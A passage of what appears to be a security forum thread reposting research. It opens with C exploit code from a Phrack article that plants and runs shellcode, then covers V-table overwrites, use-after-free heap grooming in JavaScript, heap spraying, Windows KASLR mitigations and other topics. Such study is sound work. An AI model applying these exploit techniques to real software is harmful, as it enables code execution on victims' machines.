intersects our payload;" " choose another VIND or FRAMESINDATA\n"); exit(1); } reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL; /* This strcpy call will relocate my_elf_sym from our payload to a fixed, appropriate location (mysym) */ thebuf.reloc.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, zero); thebuf.reloc.func = STRCPY; thebuf.reloc.leave_ret = LEAVERET; thebuf.reloc.param1 = mysym; thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym); thebuf.mymmap.new_ebp = FRAMESINDATA + offsetof(struct ourbuf, trans); thebuf.mymmap.put_plt_here = PLT; thebuf.mymmap.reloc_offset = reloc_offset; thebuf.mymmap.leave_ret = LEAVERET; thebuf.mymmap.start = MMAP_START; thebuf.mymmap.length = 0x01020304; thebuf.mymmap.prot = 0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE; thebuf.mymmap.flags = 0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS; thebuf.mymmap.fd = 0xffffffff; thebuf.mymmap.offset = 0x01021000; thebuf.trans.new_ebp = 0x01020304; thebuf.trans.func = STRCPY; thebuf.trans.leave_ret = MMAP_START + 1; thebuf.trans.param1 = MMAP_START + 1; thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell); memset(thebuf.hell, 'x', sizeof(thebuf.hell)); memcpy(thebuf.hell, hellcode, strlen(hellcode)); thebuf.r.r_info = 7 + 256 * real_index; thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4; thebuf.sym.st_name = FRAMESINDATA + offsetof(struct ourbuf, mmapname) + NAME_ADD_OFF- STRTAB; thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4; #define ANYTHING 0xfefefe80 thebuf.sym.st_size = ANYTHING; thebuf.sym.st_info = (unsigned char) ANYTHING; thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3; thebuf.sym.st_shndx = (unsigned short) ANYTHING; strcpy(thebuf.mmapname, mmap_string); /* setup_zero[_abs] functions prepare arguments for strcpy calls, which are to nullify certain bytes */ setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 2, 0); setup_zero(&thebuf, offsetof(struct ourbuf, r) + offsetof(struct my_elf_rel, r_info) + 3, 1); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 2, 2); setup_zero_abs(&thebuf, (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3, offsetof(struct ourbuf, sym) + offsetof(struct my_elf_sym, st_name) + 3, 3); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, start), 4); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, offset), 5); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 2, 6); setup_zero(&thebuf, offsetof(struct ourbuf, mymmap) + offsetof(struct mmap_plt_args, reloc_offset) + 3, 7); strcpy(str, "STR="); memcpy(str + 4, &thebuf, sizeof(thebuf)); str[4 + sizeof(thebuf)] = 0; if (sizeof(struct ourbuf) + 4 > strlen(str) + sizeof(thebuf.mmapname)) { fprintf(stderr, "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n", sizeof(struct ourbuf) + 4, strlen(str)); fprintf(stderr, "sizeof thebuf.mmapname=%d\n", sizeof(thebuf.mmapname)); exit(1); } execle("./pax", "pax", 0, env, 0); return 1; } <--> Sursa: http://www.phrack.org/issues.html?issue=58&id=4&mode=txt
  5. [h=3]Attacking V-Table Pointers[/h]A common attack vector for software written in C++ is V-table pointer overwrites. When C++ objects are allocated on the heap, such as when the "new" keyword is used, they often get put next to other objects that are also on the heap. If there is an unbounded write to one of the objects on the heap before an object using V-tables, this type of attack is feasible. Windows has mitigations in its userland heap manager that can make it difficult to guess which objects will be next to each other on the heap. This means that even if an attacker knows that there is an unbounded write to an object on the heap, the attacker would not know what object is right after it on the heap, making it much more difficult to exploit reliably. The following example code uses Virtual functions, which imply V-table usage when compiled with the Microsoft Visual C++ compiler: /*the following class definitions were modified from http://en.wikipedia.org/wiki/Virtual_function_table */ #include <iostream> using namespace std; class B1 //base class { public: virtual void f0() {} virtual void f1() {} }; class B2 //base class { public: virtual void f2() {} virtual void f3() {} }; class D : public B1, public B2 { //derived class inherits both base classes public: void d() {} void f0() {} // override B1::f0() void f1() {} // override B1::f1() void f2() {} // override B2::f2() void f3() {} // override B2::f3() }; int main(int argc, char* argv[]) { B2 *b2 = new B2(); D *d = new D(); d->f0(); //vtable lookup d->f1(); //vtable lookup d->f2(); //vtable lookup d->f3(); //vtable lookup } Below is the relevant assembly code of the above C++ code showing how virtual functions are accessed in objects that make use of virtual functions: d->f0(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(pointer to B1 V-table) mov eax,dword ptr [edx] //eax=first entry in B1 V-Table(address of f0) call eax d->f1(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(pointer to B1 V-table) mov eax,dword ptr [edx+4] //eax=second entry in B1 V-Table(address of f1) call eax d->f2(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax+4] //edx=second dword in d object(pointer to B2 V-table) mov eax,dword ptr [edx] //eax=first entry in B2 V-table(address of f2) call eax d->f3(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax+4] //edx=second dword in d object(pointer to B2 V-table) mov eax,dword ptr [edx+4] //eax=second entry in B2 V-table(address of f3) call eax The common pattern in all of these virtual function lookups is as follows: Dereference the object pointer which contains the V-table. Dereference the relevant V-Table pointer within the object from step 1. Dereference the relevant function pointer inside the V-table from step 2. Call the function found in step 3. In Windbg, we can verify that d was indeed allocated on the heap because our local variables are: 0:000> dv argc = 0n1 argv = 0x00574660 d = 0x00574720 b2 = 0x005746e0 More info about where our d object is allocated: 0:000> !heap -p -a 0x00574720 address 00574720 found in _HEAP @ 570000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 005746f8 0009 0000 [00] 00574700 0002c - (busy) Below is a graphical depiction of the relationship between our heap objects and the V-tables they reference. [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Normal V-table layout[/TD] [/TR] [/TABLE] If we wanted to exploit a V-table pointer overwrite and highjack a call to d->f1(), we have to make sure our "fake V-table" and attacker code is in place before executing the call. For this example let's assume the "fake V-table" is at 0xDEADBEEF and our attacker code is at 0x41414141. This can be achieved by memory spraying, which would ensure that the following predicates would be true: Address 0xDEADBEEF has already been allocated and is readable. The DWORD at 4 bytes past 0xDEADBEEF(doing the math, that would just be 0xDEADBEF3) is the address of attacker code that we want to execute. Our attacker code exists at 0x41414141. We would need to overwrite the pointer(stored in the heap-allocated object) to the B1 class V-table with the value 0xDEADBEEF. In the following example, we overwrote the pointer(stored at 0x00574720) to the B1 V-table with the value 0xDEADBEEF. Now, if a call to d->f1() happened, the follow sequence of events would occur: d->f1(); //V-table lookup mov eax,dword ptr [ebp-14h]//eax=address of d object mov edx,dword ptr [eax] //edx=first dword in d object(our 0xDEADBEEF value) mov eax,dword ptr [edx+4] //eax=0x41414141 call eax //call into our attacker code instead of d->f1() [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Overwritten V-table pointers with sprayed fake V-table and attacker code[/TD] [/TR] [/TABLE] Posted by Neil Sikka Sursa: InfoSec Research: Attacking V-Table Pointers
  6. Understanding the Low Fragmentation Heap Blackhat USA 2010 Chris Valasek X-Force Researcher cvalasek = gmail.com @nudehaberdasher Table of Contents Introduction ................................................................................................................................................ 4 Overview ................................................................................................................................................. 4 Prior Works ............................................................................................................................................. 5 Prerequisites ........................................................................................................................................... 6 Terminology ............................................................................................................................................ 6 Notes ...................................................................................................................................................... 7 Data Structures ........................................................................................................................................... 7 _HEAP ..................................................................................................................................................... 7 _HEAP_LIST_LOOKUP.............................................................................................................................. 9 _LFH_HEAP ........................................................................................................................................... 10 _LFH_BLOCK_ZONE ............................................................................................................................... 11 _HEAP_LOCAL_DATA ............................................................................................................................ 11 _HEAP_LOCAL_SEGMENT_INFO ........................................................................................................... 12 _HEAP_SUBSEGMENT ........................................................................................................................... 12 _HEAP_USERDATA_HEADER ................................................................................................................. 13 _INTERLOCK_SEQ .................................................................................................................................. 14 _HEAP_ENTRY ....................................................................................................................................... 15 Overview ............................................................................................................................................... 16 Architecture .............................................................................................................................................. 17 FreeLists ................................................................................................................................................ 17 Algorithms ................................................................................................................................................ 20 Allocation .............................................................................................................................................. 20 Back-end Allocation .............................................................................................................................. 21 RtlpAllocateHeap .............................................................................................................................. 21 Overview ........................................................................................................................................... 27 Front-end Allocation ............................................................................................................................. 28 RtlpLowFragHeapAllocFromContext ................................................................................................. 28 Overview ........................................................................................................................................... 36 Example ............................................................................................................................................ 37 Freeing .................................................................................................................................................. 40 Back-end Freeing .............................................................................................................................. 41 RtlpFreeHeap .................................................................................................................................... 41 Overview ........................................................................................................................................... 47 Front-end Freeing ................................................................................................................................. 48 RtlpLowFragHeapFree ....................................................................................................................... 48 Overview ........................................................................................................................................... 51 Example ............................................................................................................................................ 52 Security Mechanisms ................................................................................................................................ 55 Heap Randomization ............................................................................................................................. 55 Comments ......................................................................................................................................... 56 Header Encoding/Decoding .................................................................................................................. 56 Comments ......................................................................................................................................... 57 Death of bitmap flipping ....................................................................................................................... 58 Safe Linking ........................................................................................................................................... 59 Comments ......................................................................................................................................... 59 Tactics ....................................................................................................................................................... 60 Heap Determinism ................................................................................................................................ 60 Activating the LFH ............................................................................................................................. 60 Defragmentation ............................................................................................................................... 61 Adjacent Data ................................................................................................................................... 62 Seeding Data ..................................................................................................................................... 63 Exploitation ........................................................................................................................................... 67 Ben Hawkes #1 .................................................................................................................................. 67 FreeEntryOffset Overwrite ................................................................................................................ 71 Observations ......................................................................................................................................... 79 SubSegment Overwrite ..................................................................................................................... 79 Example ............................................................................................................................................ 83 Issues ................................................................................................................................................ 83 Conclusion ................................................................................................................................................ 85 Bibliography .............................................................................................................................................. 86 Download: http://www.illmatics.com/Understanding_the_LFH.pdf
  7. [h=3]Low Fragmentation Heap ReAllocation for Use After Free Exploitation[/h]Use After Free (UAF) vulnerabilities occur when the application frees an object on the heap, and then tries to erroneously use it again (usually due to a stale pointer reference to the freed object). A common exploitation technique to target a UAF vulnerability is to try to reallocate heap memory between the time when the application frees the memory and when it erroneously dereferences the stale pointer to the freed memory. This reallocation would fill the “hole” left by the application when it initially freed the object. The typical timeline of this type of attack is as follows: 1) Application frees object on the heap 2) Attacker reallocates objects on the heap 3) Application erroneously dereferences freed pointer Note that in normal circumstances, A UAF would crash the program due to an Access Violation. However, when the application is being exploited, the attacker’s reallocation serves 2 main purposes: 1) Make sure that there is data at the location pointed to by the stale pointer so the application doesn’t crash on erroneous dereference and 2) Craft the data in the reallocation in such a way that the dereference would help the attacker gain control over the Instruction Pointer (EIP on x86). In Internet Explorer, exploits often use JavaScript to reallocate freed objects on a heap with the Windows Low Fragmentation Heap (LFH) policy activated and groom the backend heap in order to eventually gain control over the Instruction Pointer. The connection between JavaScript and freed objects is as follows: "When string attributes of HTML objects are assigned in JavaScript, the strings are often stored in the same Front End LFH that the freed objects were stored in." The significance of this statement is that attackers can craft maliciously formatted strings in JavaScript and have the strings fill holes left by the freed objects. In order to reallocate the holes left by the freed objects, the attacker must make sure the strings are of the same size as the freed objects, so that the stings will get allocated in the same LFH bucket as the freed object. Once the object of interest has been freed, and the attacker can assign those strings as attributes to an array of HTML nodes, and those strings are likely to be allocated on the same LFH as the freed object. Eventually, if this process is repeated enough, a reallocation of the “hole” left by the freed object would occur. This means that the next time the application dereferences the stale pointer (ie for a virtual function call), it would get the attacker’s string rather than the object it expects to be there. This would be how the attacker initially takes control of the Instruction Pointer. Below is an example of what this process may look like in JavaScript: //create an array of HTML elements whose string attributes we will assign laterfor (var i = 0 ; i < numObjects; i++) objectArray = document.createElement('div'); /* "prime" LFH by allocating a few strings of the same size as the object of interest to enable the LFH bucket for this allocation size */ for (var x = 0; x < primeAmount; x++) objectArray[x].title = pattern; //application allocates object here //application frees object here //fill the hole left by the freed object assuming primeAmount < numObjects for (var z = primeAmount; z < numObjects; z++) objectArray[z].title = pattern; //attributes should be allocated on LFH //application erroneously uses object here The JavaScript “pattern” string above was carefully crafted to meet the following criteria: 1) It must be the same size as the erroneously freed object, so that it will be reallocated in the same LFH Bucket. 2) Its value must be specifically crafted to help gain code execution. For example, if the freed object was a C++ object with a V-Table pointer, one of the first few DWORDs must point to a location in memory which the attacker controls (usually via a Heap Spray of the backend heap) that contains a malicious V-Table. For more information, see prior article about V-Tables. For more information about the Low Fragmentation Heap, see: http://msdn.microsoft.com/en-ca/windows/desktop/aa366750(v=vs.85).aspx http://www.illmatics.com/Understanding_the_LFH.pdf Posted by Neil Sikka Sursa: InfoSec Research: Low Fragmentation Heap ReAllocation for Use After Free Exploitation
  8. Visual Heap Spray Prerequisite Reading: Previous “Low Fragmentation Heap ReAllocation for Use After Free Exploitation” article Previous “Attacking V-Table Pointers” article Heap Sprays are a common method attackers use to introduce determinism in a program’s address space. They aim to control a program’s memory layout in such a way that an attacker can reliably predict what will be in memory at a certain address (Address of Interest) at a certain point in execution. For example, if there is a Use-After-Free bug, on an object with a V-Table, the object can be reallocated and the offset of the V-Table pointer in the object can point to an address that the attacker knows will contain the spray (Address of Interest). This knowledge often comes from trial and error when writing the exploit. The Address of Interest makes a big difference in the quality of the exploit. For example, a very popular Address of Interest is 0x0c0c0c0c. The reasoning behind this Address of Interest is that the address must be low in the process’s address space (the highest Nibble of this address is 0x0), yet must be at a higher address in memory than the heap being sprayed (the second highest Nibble is 0xc) so that when the heap grows due to the memory pressure of the spray, it will grow into this address. Using high addresses such as 0xc0c0c0c (the highest Nibble is 0xc) would require that the application freezes for a longer period of time before the heap spray is complete. A victim that is being targeted might get bored and close the process (web browser in this case) due to the fact that it has appeared to freeze during the long time taken to spray, thereby precluding any possibility of successful exploitation. Visualizations: Below are some memory usage visualizations taken with the vmmap tool from SysInternals before and after the heap spray. The orange color represents the Backend Heap in the process’s address space. Two things to notice are the large growth in the orange segment of the graphs below and the difference in the “Committed” usage before and after the spray (it grows from about 136 MB to about 698 MB). Before Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Usage before Heap Spray[/TD] [/TR] [/TABLE] After Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Usage after Heap Spray[/TD] [/TR] [/TABLE] Below are graphical representations of the memory layout before and after the spray. The “After Spray” visualization has the approximate address of 0x0c0c0c0c marked for the reader’s convenience. One might make the argument that since 0x0c0c0c0c is relatively early in the heap spray, the heap spray could have been reduced to minimize the time the victim has to wait for the spray to finish. Before Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Layout before Heap Spray[/TD] [/TR] [/TABLE] After Spray: [TABLE=align: center] [TR] [TD][/TD] [/TR] [TR] [TD]Memory Layout after Heap Spray[/TD] [/TR] [/TABLE] How to Heap Spray in Internet Explorer: In IE, heap sprays are often done by allocating and assigning large strings from JavaScript. Sprays are often done on the Backend Heap (rather than the Low Fragmentation Heap). In order to get strings allocated on the Backend Heap, the strings must be larger than 16KB. Example JavaScript follows: for (var z = primeAmount; z < numObjects; z++) objectArray[z].title = pattern; The Heap Spraying technique does not come without some drawbacks, leading to some researchers referring to heap sprays as “For the 99%”. In some cases, exploitation can be made more reliable by finding multiple "good" bugs rather than heap spraying: It might take a long time to spray (user might get impatient and terminate the program). Depending on preexisting memory layout due to external factors (loaded plugins, other webpages visited prior to this one, etc), spraying can be unreliable. Too much spraying might cause the Operating System to swap memory pages out to disk (depending on how much physical memory the victim’s machine has) and JavaScript Exceptions. New IE mitigations might prevent highjacking virtual function calls. There is no guarantee that the Address of Interest will contain the spray-an executable image or something else might be mapped at the Address of Interest, depending on the address space and system configuration unique to the victim. Libraries: The community has done some great work to reduce the barrier of entry into this space. Multiple open source libraries have been written by researchers to abstract away the details of heap mechanics. In the example presented in this article, the heap reallocation/spray was done manually, but libraries such as HeapLib by Alex Sotirov and HeapLib2 by Chris Valasek allow users to just call into them in order to perform reallocation/sprays. Code review of HeapLib2 shows that this article, the prerequisite readings and HeapLib2 all use the same technique to reallocate and spray the heap. Posted by Neil Sikka Sursa: InfoSec Research: Visual Heap Spray
  9. [h=1]Blind XSS[/h] Adam Baldwin is the Team Lead at Lift Security, a web application security consultancy and the Chief Security Officer at &yet (andyet.net). He at one time possessed a GCIA and CISSP. Adam is a highly knowledegable information security expert having created the DVCS pillaging toolkit, helmet: the security header middleware for node.js, a minor contributor to the W3AF project, and has previously spoken at DEF CON, Toorcon, Toorcamp, Djangcon, and JSconf. Adam kindly shared his slides which you can download here (.pdf) Sursa: Blind XSS hacking with Adam Baldwin - How to Hack websites using cross-site scripting
  10. Sniffing the USB traffic of a PS4 controller by dyngnosis on Nov.17, 2013 So, in previous posts we looked at using facedancer21 and umap.py to fuzz the the PS4 USB interface. The fuzz cases are pretty simple but they certainly did their job. It is time to start thinking about customizing the existing fuzzer to fuzz a specific device — the PS4 controller. There has been a bunch of work getting open source support for the PS3 controller. So we have a great starting point to work with on that end. I’m going to have to read up on the USB protocol a bit better and really look at how umap implements its fuzz cases and how they implement the protocol. For now lets take a look at the USB traffic generated by the device. To do this I used USBPcap with wireshark: Below is a capture of the traffic that occurs when you plug the device in: [1] Packet one is sent from the host to 30 (the usb device). It is asking for a descripter. [2] The device sends a descripter response: The device responds with information that identifies itself including idVendor of 0x054c for Sony Corp. and an idProduct of “0x05c4?. The PlayStation 3 controller responds with (0×0268) for Batoh Device / PlayStation 3 Controller. Next (in packet 4) the host asks the device for a Configuration Descriptor. In packet five the device responds and says hey.. my bMaxPower is FA (500ma) In packet eight we find out that this device has two end points. On the PlayStation 3 controller we find endpoints at 2 and 1 (out and in respectively). On the PS4 controller we find endpoints at 4(in) and 3(out). Also note the ” UNKNOWN DESCRIPTOR ” The data is 09 21 11 01 00 01 22 d2 01 09 is clearly the length. I’ll have to look into the rest. PS3 Endpoints: PS4 Endpoints The next interesting packet happens after packet 14 when the host asks the USB device for RPIPE Descriptor. There are a ton of interesting patterns/sequences in this binary blob. We can even see the result of increment word values in the ascii representation. NOTE: The PS3 controller does not send this data. Packets 17 onward are the stream of data sent from the controller to the host device. I’ve been able to pick out values that represent the X Y Z axis of the controller gyroscope. I’m sure picking out the values that change when buttons are pressed is a simple procedure and something that was done long ago by other people when creating opensource drivers for the PS3 controller. To go further I’ll need to go read some USB spec stuff and the open source implementations of the PS3 driver. With this though, we do have enough to start customizing the fuzzer and start thinking about fields we can fuzz. Sursa: Sniffing the USB traffic of a PS4 controller
  11. KASLR Bypass Mitigations in Windows 8.1 Introduction As some of you may know, back in June of 2013, I gave a talk at Recon, a security conference in Montreal, about KASLR Information Bypasses/Leaks in the Windows NT kernel, entitled “I got 99 problems but a kernel pointer ain’t one”. The point of the presentation was both to collect and catalog the many ways in which kernel pointers could be leaked to a local userspace attacker (some of which were known, others not so much), as well as raise awareness to the inadequate protection, and sometimes baffling leaking of, such data. After sharing my slides and presentation with some colleagues from Microsoft, I was told to “expect some changes in Windows 8.1?. I was initially skeptical, because it seemed that local KASLR bypasses were not at the top of the security team’s list — having been left behind to accumulate for years (a much different state than Apple’s OS X kernel, which tries to take a very strong stance against leaking pointers). As Spender likes to point out, there will always be KASLR bugs. But in Windows, there were documented APIs to serve them on a platter for you. Restricted Callers Our investigation begins with an aptly named new Windows 8.1 kernel function: BOOLEANExIsRestrictedCaller ( _In_ KPROCESSOR_MODE PreviousMode ) { PTOKEN Token; NTSTATUS Status; BOOLEAN IsRestricted; ULONG IntegrityLevel; PAGED_CODE(); // // Kernel callers are never restricted // if (PreviousMode == KernelMode) { return FALSE; } // // Grab the primary token of the current process // Token = PsReferencePrimaryToken(PsGetCurrentProcess()); NT_ASSERT(Token != NULL); // // Get its integrity level // Status = SeQueryInformationToken(Token, TokenIntegrityLevel, &IntegrityLevel); ObDereferenceObject(Token); // // If the integrity level is below medium, or cannot be // queried, the caller is restricted. // if (!NT_SUCCESS(Status) || IntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID) { IsRestricted = TRUE; } else { IsRestricted = FALSE; } // // Return the caller's restriction state // return IsRestricted; } This now introduces a new security term in the Windows kernel lingo — a “restricted caller”, is a caller whose integrity level is below Medium. For those unfamiliar with the concept of integrity levels, this includes most applications running in a sandbox, such as Protected Mode IE, Chrome, Adobe Reader and parts of Office. Additionally, in Windows 8 and higher, it includes all Modern/Metro/TIFKAM/MoSH/Immersive/Store applications. So, what is it exactly that these restricted callers cannot do? System-wide Information Mitigations First of all, STATUS_ACCESS_DENIED is now returned when calling NtQuerySystemInformation, with the following classes: SystemModuleInformation — Part of my (and many others) presentation, this disables the EnumSystemDrivers API and hides the load address of kernel drivers (finally!). SystemModuleInformationEx — A new information class that was recently added in Vista and leaked as much as the one above. SystemLocksInformation — Part of my presentation (and also found by j00ru), this leaked the address of ERESOURCE locks in the system. SystemStackTraceInformation — Indirectly mentioned in the ETW/Performance section of my presentation, this leaked kernel stack addresses, but only if the right global flags were set. SystemHandleInformation — Part of my presentation, and well known beforehand, this was NT’s KASLR-fail posterboy: leaking the kernel address of every object on the system that had at least one handle open (i.e.: pretty much all of them). SystemExtendedHandleInformation — Another new Vista information class, which was added for 64-bit support, and leaked as much as above. SystemObjectInformation — Part of my presentation, if the right global flags were set, this dumped the address of object types and objects on the system, even if no handles were open. SystemBigPoolInformation — Part of my presentation, this dumped the address of all pool (kernel heap) allocations over 4KB (so-called “big” allocations). SystemSessionBigPoolInformation — The session-specific little brother of the above, perfect for those win32k.sys exploits. Thread Information Mitigations But that’s not all! Using the well-known SystemProcessInformation information class, which famously dumps the entrypoint addresses of system threads (pretty much giving you a function pointer into almost all loaded drivers), as well as the kernel stack base and stack limit of all the threads on the system (used by j00ru in his GS-stack-cookie-guessing attacks, since the cookie is partly generated with this information), now introduces some additional checks. First of all, there are now three information classes related to this data. SystemProcessInformation, which is well-understood. SystemExtendedProcessinformation, which was documented by j00ru and wj32. This returns the SYSTEM_EXTENDED_THREAD_ INFORMATION structure containing the stack base, limit, and Win32 start address. SystemFullProcessInformation, which is new to Windows 8.1. This returns the SYSTEM_PROCESS_INFORMATION_EXTENSION below: +0x000 DiskCounters : _PROCESS_DISK_COUNTERS (the new Windows 8 I/O counters at the disk level, copied from EPROCESS) +0x028 ContextSwitches : Uint8B (Copied from KPROCESS) +0x030 Flags : Uint4B (See below) +0x030 HasStrongId : Pos 0, 1 Bit (in other words, strongly named -- AppContainer) +0x030 Spare : Pos 1, 31 Bits (unused) +0x034 UserSidOffset : Uint4B (The offset, hardcoded to 0x38, of the primary user SID) (By the way, I hear Microsoft is taking suggestions on the upcoming 4th information class in Windows 9. Current leader is SystemFullExtendedProcessInformation.) It’s unfortunate that Microsoft continues to keep these APIs undocumented — the documented Win32 equivalents require up to 12 separate API calls, all of which return the same data 12 times, with the Win32 interface only picking one or two fields each time. Back to our discussion about KASLR, the behavior of this information class is to also apply the restricted caller check. If the caller is restricted, then the stack limit, stack base, start address, and Win32 start address fields in the thread structures will all be zeroed out. Additionally, to use the new “full” information class, the caller must be part of the Administrators group, or have the Diagnostic Policy Service SID in its token. Interestingly, in these cases the restricted caller check is not done — which makes sense after all, as a Service or Admin process should not be running below medium integrity. Process Information Mitigations The checks for restricted callers do not stop here however. A few more interesting cases are protected, such as in NtQueryInformationProcess, in which ProcessHandleTracing is disabled for such callers. I must admit this is something I missed in my KASLR analysis (and no obvious hits appear on Google) — this is an Object Manager feature (ironically, one which I often use) related to !obtrace and global flags, which enables seeing a full stack trace and reference count analysis of every object that a process accesses. Obviously, enabling this feature on one own’s process would leak the kernel pointers of all objects, as well as stack traces of kernel code and drivers that are in the path of the access (or running in the context of the process and performing some object access, such as during an IRP). Another obvious “d’oh!” moment was when seeing the check performed when setting up a Profile Object. Profile Objects are a little-talked about feature of NT, which primarily power the “kernrate” utility that is now rather deprecated (but still useful for analyzing drivers that are not ETW-friendly). This feature allows the caller to setup “buckets” — regions of memory — in which every time the processor is caught with its instruction pointer/program counter cause a trace record to be recorded. In a way similar to some of the cache/TLB prediction attacks shown recently, in which the processor’s trace buffer is queried for address hits, the same could be setup using an NT profile object, which would reveal kernel addresses. In Windows 8.1, attempts to setup buckets above the userspace barrier will result in failure if the caller is restricted. Last but not least, the ProcessWorkingSetWatch and ProcessWorkingSetWatchEx classes of NtQueryInformationProcess are also now protected. I didn’t talk about these two at Recon, and again I’m not aware of any other public research on these, but they’ve always been my favorite — especially because PSAPI, documented on MSDN, exposes Win32 friendly versions of these (see GetWsChanges). Basically, once you’ve turned WS Watch on your process, you are given the address of every hard fault, as well as the instruction pointer/program counter at the time of the fault — making it a great way to extract both kernel data and code addresses. Instead of going through the trouble of pruning kernel accesses from the working set watch log, the interface is now simply completely disabled for restricted callers. Conclusion Well, there you have it folks! Although a number of undocumented interfaces and mechanisms still exist to query protected KASLR pointers, the attack surface has been greatly decreased — eliminating almost all non-privileged API calls, requiring at least Medium IL to use them (thus barring any Windows Store Apps from using them). This was great work done by the kernel security team at Microsoft, and continues to showcase the new lengths at which Windows is willing to go to maintain a heightened security posture. It’s only one of the many other exciting security changes in Windows 8.1 Autor: Alex Ionescu Sursa: http://www.alex-ionescu.com/?p=82
  12. Da, e ok, si mie imi captureaza acele "Accept-Encoding" dar nu vad sa prinda login-ul pe <form> si nici SSL strip-ul nu pare sa mearga.
  13. Stealth [ just.a.legend ]
  14. MenuetOS is an Operating System in development for the PC written entirely in 32/64 bit assembly language. Menuet64 is released under License and Menuet32 under GPL. Menuet supports 32/64 bit x86 assembly programming for smaller, faster and less resource hungry applications. Menuet isn't based on other operating system nor has it roots within UNIX or the POSIX standards. The design goal, since the first release in year 2000, has been to remove the extra layers between different parts of an OS, which normally complicate programming and create bugs. Menuet's application structure isn't specifically reserved for asm programming since the header can be produced with practically any other language. However, the overall application programming design is intended for 32/64 bit asm programming. Menuet programming is fast and easy to learn. Menuet's responsive GUI is easy to handle with assembly language. And Menuet64 is capable of running Menuet32 applications. News - 11.11.2013 M64 0.99.34 released - Updates, improvements - 19.01.2013 M64 0.98.99 released - Mathlib based on Naoki Shibata's SLEEF-library - 11.03.2012 M64 0.98.43 released - Updates, bugfixes, improvements (printer,unzip,..) - 25.06.2011 M64 0.96X released - IntelHDA (ALC662) audio driver - 01.06.2011 M64 0.96P released - Intel Pro/1000 and Realtek 816x/811x drivers from Ian Seyler - 12.03.2011 M64 0.95Z released - Updates, bugfixes, improvements (usb,smp,tcp,..) - 12.10.2010 M64 0.94H released - Fourier transform, sinc and resampler from A.Mogyorosi - 24.06.2010 M64 0.94B released - More supported TV-tuners & MPlayer 0.51 - 12.06.2010 M64 0.93X released - Multi-Processor support - 10.01.2010 M64 0.92H released - Digital TV support (dvb-t) - 02.09.2009 M64 0.91J released - New bootup desktop (transparency, background) - 20.08.2009 M64 MediaPlayer by V.Turjanmaa & A.Mogyorosi - 14.08.2009 M64 0.90U released - Improved HTTP client & GUI transparency - 29.12.2007 CD available for download - 31.08.2013 M32 0.85C released Features - Pre-emptive multitasking with 1000hz scheduler, multithreading, multiprocessor, ring-3 protection - Responsive GUI with resolutions up to 1920x1080, 16 million colours - Free-form, transparent and skinnable application windows, drag'n drop - SMP multiprocessor support with currently up to 8 cpus - IDE: Editor/Assembler for applications - USB 2.0 HiSpeed Classes: Storage, Printer, Webcam Video and TV/Radio support - USB 1.1 Keyboard and Mouse support - TCP/IP stack with Loopback & Ethernet drivers - Email/ftp/http/chess clients and ftp/mp3/http servers - Hard real-time data fetch - Fits on a single floppy, boots also from CD and USB drives Sursa: MenuetOS
  15. 23:59 zic baetii. Stam cu ochii pe ceas si depunem plangere la OPC daca ne mint.
  16. Ban. Avem market. Nu ai 50 de posturi.
  17. [h=1]Finding all the vhosts[/h] Published 11/11/2013 | By MWE There are a number of ways to own a webapp. In a shared environment, an attacker can enumerate all the applications accessible and target the weakest one to root the server and with it all the webapps on the box. To try and emulate this approach on a pentest, we have to find ALL THE VHOSTS. [h=2]Key features[/h] This natty python 2 script scrapes a series of web applications (including bing and yougetsignal’s database) and looks at Subject Alternative Names in the SSL certificate to find as many web applications which resolve to an IP address as possible. No guarantees are made as to the completeness or accuracy of the data, but it’s the best we can do. It can give an insight into the attack surface associated with a given IP address, allowing testers to advise client in situations where the risk is out of their control. [h=2]Usage and example[/h] $ python2 allthevhosts.py 213.165.238.226 [+] bing search complete [+] myipneighbours Search Complete [E]ipneighbour search error. [+] yougetsignal Search Complete [+] SAN enumeration complete. [+] resolved original addresss... [+] verifying that 8 found URLs resolve to the same address [+] all URLs resolved www.portcullis-security.com labs.portcullis.co.uk www.portcullis.co.uk ctads.net portcullis-forensics.com portcullis-security.com portcullis.co.uk Download: http://labs.portcullis.co.uk/download/allthevhosts.tar.gz Sursa: Finding all the vhosts | Portcullis Labs
  18. Headerul e naspa (logo) Footerul e prea mare si gol. Nu ai <title> E Wordpress.
  19. De unde stiti ca nu e Fake? Mai multe "detalii":
